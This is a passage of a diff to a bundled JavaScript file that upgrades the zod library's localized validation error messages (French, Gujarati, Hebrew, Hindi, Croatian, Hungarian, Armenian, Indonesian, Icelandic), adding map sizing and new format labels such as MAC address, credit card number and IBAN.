@@ -52916,7 +54219,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, ${received} re\xE7u`; } return `Entr\xE9e invalide : ${expected} attendu, ${received} re\xE7u`; } @@ -52941,13 +54244,13 @@ var error15 = () => { case "invalid_format": { const _issue = issue2; if (_issue.format === "starts_with") - return `Cha\xEEne invalide : doit commencer par "${_issue.prefix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit commencer par "${_issue.prefix}"`; if (_issue.format === "ends_with") - return `Cha\xEEne invalide : doit se terminer par "${_issue.suffix}"`; + return `Cha\xEEne de caract\xE8res invalide : doit se terminer par "${_issue.suffix}"`; if (_issue.format === "includes") - return `Cha\xEEne invalide : doit inclure "${_issue.includes}"`; + return `Cha\xEEne de caract\xE8res invalide : doit inclure "${_issue.includes}"`; if (_issue.format === "regex") - return `Cha\xEEne invalide : doit correspondre au mod\xE8le ${_issue.pattern}`; + return `Cha\xEEne de caract\xE8res invalide : doit correspondre au motif ${_issue.pattern}`; return `${FormatDictionary[_issue.format] ?? issue2.format} invalide`; } case "not_multiple_of": @@ -52967,17 +54270,18 @@ var error15 = () => { }; function fr_default() { return { - localeError: error15() + localeError: error17() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr-CA.js -var error16 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr-CA.js +var error18 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, array: { unit: "\xE9l\xE9ments", verb: "avoir" }, - set: { unit: "\xE9l\xE9ments", verb: "avoir" } + set: { unit: "\xE9l\xE9ments", verb: "avoir" }, + map: { unit: "\xE9l\xE9ments", verb: "avoir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53003,12 +54307,16 @@ var error16 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", base64: "cha\xEEne encod\xE9e en base64", base64url: "cha\xEEne encod\xE9e en base64url", json_string: "cha\xEEne JSON", e164: "num\xE9ro E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; @@ -53075,12 +54383,126 @@ var error16 = () => { }; function fr_CA_default() { return { - localeError: error16() + localeError: error18() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/he.js -var error17 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/gu.js +var error19 = () => { + const Sizable = { + string: { unit: "\u0A85\u0A95\u0ACD\u0AB7\u0AB0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + file: { unit: "\u0AAC\u0ABE\u0AAF\u0A9F", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + array: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + set: { unit: "\u0A86\u0A87\u0A9F\u0AAE", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" }, + map: { unit: "\u0A8F\u0AA8\u0ACD\u0A9F\u0ACD\u0AB0\u0AC0", verb: "\u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F", + email: "\u0A88\u0AAE\u0AC7\u0A87\u0AB2 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + url: "URL", + emoji: "\u0A87\u0AAE\u0ACB\u0A9C\u0AC0", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96 \u0A85\u0AA8\u0AC7 \u0AB8\u0AAE\u0AAF", + date: "ISO \u0AA4\u0ABE\u0AB0\u0AC0\u0A96", + time: "ISO \u0AB8\u0AAE\u0AAF", + duration: "ISO \u0A85\u0AB5\u0AA7\u0ABF", + ipv4: "IPv4 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + ipv6: "IPv6 \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + mac: "MAC \u0A8F\u0AA1\u0ACD\u0AB0\u0AC7\u0AB8", + cidrv4: "IPv4 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + cidrv6: "IPv6 \u0AB6\u0ACD\u0AB0\u0AC7\u0AA3\u0AC0", + base64: "base64-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + base64url: "base64url-\u0A8F\u0AA8\u0ACD\u0A95\u0ACB\u0AA1\u0AC7\u0AA1 \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + json_string: "JSON \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97", + e164: "E.164 \u0AA8\u0A82\u0AAC\u0AB0", + credit_card: "\u0A95\u0ACD\u0AB0\u0AC7\u0AA1\u0ABF\u0A9F \u0A95\u0ABE\u0AB0\u0ACD\u0AA1 \u0AA8\u0A82\u0AAC\u0AB0", + currency_code: "\u0A9A\u0AB2\u0AA3 \u0A95\u0ACB\u0AA1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0A87\u0AA8\u0AAA\u0AC1\u0A9F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${expected}, \u0AAA\u0ACD\u0AB0\u0ABE\u0AAA\u0ACD\u0AA4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F: \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB5\u0ABF\u0A95\u0AB2\u0ACD\u0AAA: ${joinValues(issue2.values, " | ")} \u0AAE\u0ABE\u0AA7\u0ACD\u0AAF\u0AAE\u0AA5\u0AC0 \u0A8F\u0A95 \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0A8F\u0AB2\u0ABF\u0AAE\u0AC7\u0AA8\u0ACD\u0A9F"} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A96\u0AC2\u0AAC \u0AAE\u0ACB\u0A9F\u0AC1\u0A82: ${issue2.origin ?? "\u0AAE\u0AC2\u0AB2\u0ACD\u0AAF"} ${adj}${issue2.maximum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u0AB9\u0ACB\u0AB5\u0ABE \u0A9C\u0ACB\u0A88\u0A8F`; + } + return `\u0A96\u0AC2\u0AAC \u0AA8\u0ABE\u0AA8\u0AC1\u0A82: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.prefix}" \u0AA5\u0AC0 \u0AB6\u0AB0\u0AC2 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + } + if (_issue.format === "ends_with") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.suffix}" \u0AAA\u0AB0 \u0AB8\u0AAE\u0ABE\u0AAA\u0ACD\u0AA4 \u0AA5\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "includes") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: "${_issue.includes}" \u0AB6\u0ABE\u0AAE\u0AC7\u0AB2 \u0AB9\u0ACB\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + if (_issue.format === "regex") + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AB8\u0ACD\u0A9F\u0ACD\u0AB0\u0ABF\u0A82\u0A97: \u0AAA\u0AC7\u0A9F\u0AB0\u0ACD\u0AA8 ${_issue.pattern} \u0AB8\u0ABE\u0AA5\u0AC7 \u0AAE\u0AC7\u0AB3 \u0A96\u0ABE\u0AB5\u0AC1\u0A82 \u0A9C\u0ACB\u0A88\u0A8F`; + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA8\u0A82\u0AAC\u0AB0: ${issue2.divisor} \u0AA8\u0ACB \u0A97\u0AC1\u0AA3\u0ABE\u0A82\u0A95 \u0AB9\u0ACB\u0AB5\u0ACB \u0A9C\u0ACB\u0A88\u0A8F`; + case "unrecognized_keys": + return `\u0A93\u0AB3\u0A96\u0AC0 \u0AB6\u0A95\u0ABE\u0AA4\u0ABE \u0AA8\u0AB9\u0AC0\u0A82 \u0AA4\u0AC7 \u0A95\u0AC0${issue2.keys.length > 1 ? "\u0A93" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A95\u0AC0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AA1\u0ABF\u0AB8\u0ACD\u0A95\u0ACD\u0AB0\u0ABF\u0AAE\u0ABF\u0AA8\u0AC7\u0A9F\u0AB0 \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF. \u0A85\u0AAA\u0AC7\u0A95\u0ACD\u0AB7\u0ABF\u0AA4 ${opts}`; + } + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + case "invalid_element": + return `${issue2.origin} \u0AAE\u0ABE\u0A82 \u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0AAE\u0AC2\u0AB2\u0ACD\u0AAF`; + default: + return "\u0A85\u0AAE\u0ABE\u0AA8\u0ACD\u0AAF \u0A87\u0AA8\u0AAA\u0AC1\u0A9F"; + } + }; +}; +function gu_default() { + return { + localeError: error19() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/he.js +var error20 = () => { const TypeNames = { string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA", gender: "f" }, number: { label: "\u05DE\u05E1\u05E4\u05E8", gender: "m" }, @@ -53133,6 +54555,8 @@ var error17 = () => { url: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA \u05E8\u05E9\u05EA", gender: "f" }, emoji: { label: "\u05D0\u05D9\u05DE\u05D5\u05D2'\u05D9", gender: "m" }, uuid: { label: "UUID", gender: "m" }, + uuidv4: { label: "UUIDv4", gender: "m" }, + uuidv6: { label: "UUIDv6", gender: "m" }, nanoid: { label: "nanoid", gender: "m" }, guid: { label: "GUID", gender: "m" }, cuid: { label: "cuid", gender: "m" }, @@ -53146,13 +54570,18 @@ var error17 = () => { duration: { label: "\u05DE\u05E9\u05DA \u05D6\u05DE\u05DF ISO", gender: "m" }, ipv4: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv4", gender: "f" }, ipv6: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA IPv6", gender: "f" }, + mac: { label: "\u05DB\u05EA\u05D5\u05D1\u05EA MAC", gender: "f" }, cidrv4: { label: "\u05D8\u05D5\u05D5\u05D7 IPv4", gender: "m" }, cidrv6: { label: "\u05D8\u05D5\u05D5\u05D7 IPv6", gender: "m" }, base64: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64", gender: "f" }, base64url: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA \u05D1\u05D1\u05E1\u05D9\u05E1 64 \u05DC\u05DB\u05EA\u05D5\u05D1\u05D5\u05EA \u05E8\u05E9\u05EA", gender: "f" }, json_string: { label: "\u05DE\u05D7\u05E8\u05D5\u05D6\u05EA JSON", gender: "f" }, e164: { label: "\u05DE\u05E1\u05E4\u05E8 E.164", gender: "m" }, + credit_card: { label: "\u05DE\u05E1\u05E4\u05E8 \u05DB\u05E8\u05D8\u05D9\u05E1 \u05D0\u05E9\u05E8\u05D0\u05D9", gender: "m" }, + currency_code: { label: "\u05E7\u05D5\u05D3 \u05DE\u05D8\u05D1\u05E2", gender: "m" }, + iban: { label: "IBAN", gender: "m" }, jwt: { label: "JWT", gender: "m" }, + template_literal: { label: "\u05E7\u05DC\u05D8", gender: "m" }, ends_with: { label: "\u05E7\u05DC\u05D8", gender: "m" }, includes: { label: "\u05E7\u05DC\u05D8", gender: "m" }, lowercase: { label: "\u05E7\u05DC\u05D8", gender: "m" }, @@ -53270,12 +54699,124 @@ var error17 = () => { }; function he_default() { return { - localeError: error17() + localeError: error20() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hr.js -var error18 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hi.js +var error21 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + file: { unit: "\u092C\u093E\u0907\u091F\u094D\u0938", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F\u092F\u093E\u0901", verb: "\u0930\u0916\u0928\u0947 \u0915\u0947 \u0932\u093F\u090F" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0908\u092E\u0947\u0932 \u092A\u0924\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0924\u093F\u0925\u093F \u0914\u0930 \u0938\u092E\u092F", + date: "ISO \u0924\u093F\u0925\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u092A\u0924\u093E", + ipv6: "IPv6 \u092A\u0924\u093E", + mac: "MAC \u092A\u0924\u093E", + cidrv4: "IPv4 \u0936\u094D\u0930\u0947\u0923\u0940", + cidrv6: "IPv6 \u0936\u094D\u0930\u0947\u0923\u0940", + base64: "Base64-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + base64url: "Base64URL-\u090F\u0928\u094D\u0915\u094B\u0921\u0947\u0921 \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + json_string: "JSON \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917", + e164: "E.164 \u0938\u0902\u0916\u094D\u092F\u093E", + credit_card: "\u0915\u094D\u0930\u0947\u0921\u093F\u091F \u0915\u093E\u0930\u094D\u0921 \u0938\u0902\u0916\u094D\u092F\u093E", + currency_code: "\u092E\u0941\u0926\u094D\u0930\u093E \u0915\u094B\u0921", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0907\u0928\u092A\u0941\u091F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${expected}, \u092A\u094D\u0930\u093E\u092A\u094D\u0924 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0935\u093F\u0915\u0932\u094D\u092A: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u092E\u093E\u0928\u094B\u0902 \u092E\u0947\u0902 \u0938\u0947 \u090F\u0915 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} \u092E\u0947\u0902 ${adj}${issue2.maximum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u092C\u0921\u093C\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin ?? "\u092E\u093E\u0928"} ${adj}${issue2.maximum} \u0939\u094B`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} \u092E\u0947\u0902 ${adj}${issue2.minimum} ${sizing.unit} \u0939\u094B\u0902`; + return `\u092C\u0939\u0941\u0924 \u091B\u094B\u091F\u093E: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 \u0925\u093E \u0915\u093F ${issue2.origin} ${adj}${issue2.minimum} \u0939\u094B`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.prefix}" \u0938\u0947 \u0936\u0941\u0930\u0942 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "ends_with") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: "${_issue.suffix}" \u092A\u0930 \u0938\u092E\u093E\u092A\u094D\u0924 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "includes") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u0907\u0938\u092E\u0947\u0902 "${_issue.includes}" \u0936\u093E\u092E\u093F\u0932 \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + if (_issue.format === "regex") + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u094D\u091F\u094D\u0930\u093F\u0902\u0917: \u092A\u0948\u091F\u0930\u094D\u0928 ${_issue.pattern} \u0938\u0947 \u092E\u0947\u0932 \u0916\u093E\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + return `\u0905\u092E\u093E\u0928\u094D\u092F ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0938\u0902\u0916\u094D\u092F\u093E: \u092F\u0939 ${issue2.divisor} \u0915\u093E \u0917\u0941\u0923\u091C \u0939\u094B\u0928\u093E \u091A\u093E\u0939\u093F\u090F`; + case "unrecognized_keys": + return `\u0905\u092A\u0930\u093F\u091A\u093F\u0924 \u0915\u0941\u0902\u091C\u0940${issue2.keys.length > 1 ? "\u092F\u093E\u0901" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0915\u0941\u0902\u091C\u0940: ${issue2.origin} \u092E\u0947\u0902`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0921\u093F\u0938\u094D\u0915\u094D\u0930\u093F\u092E\u093F\u0928\u0947\u091F\u0930 \u092E\u093E\u0928: \u0905\u092A\u0947\u0915\u094D\u0937\u093F\u0924 ${opts}`; + } + return "\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F"; + case "invalid_element": + return `\u0905\u092E\u093E\u0928\u094D\u092F \u092E\u093E\u0928: ${issue2.origin} \u092E\u0947\u0902`; + default: + return `\u0905\u092E\u093E\u0928\u094D\u092F \u0907\u0928\u092A\u0941\u091F`; + } + }; +}; +function hi_default() { + return { + localeError: error21() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hr.js +var error22 = () => { const Sizable = { string: { unit: "znakova", verb: "imati" }, file: { unit: "bajtova", verb: "imati" }, @@ -53306,12 +54847,16 @@ var error18 = () => { duration: "ISO trajanje", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "IPv4 raspon", cidrv6: "IPv6 raspon", base64: "base64 kodirani tekst", base64url: "base64url kodirani tekst", json_string: "JSON tekst", e164: "E.164 broj", + credit_card: "broj kreditne kartice", + currency_code: "kod valute", + iban: "IBAN", jwt: "JWT", template_literal: "unos" }; @@ -53393,17 +54938,18 @@ var error18 = () => { }; function hr_default() { return { - localeError: error18() + localeError: error22() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hu.js -var error19 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hu.js +var error23 = () => { const Sizable = { string: { unit: "karakter", verb: "legyen" }, file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53429,12 +54975,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -53502,11 +55052,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -53517,7 +55067,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -53546,6 +55096,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -53572,12 +55129,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -53650,17 +55211,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53686,12 +55248,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -53757,17 +55323,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53793,12 +55360,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + 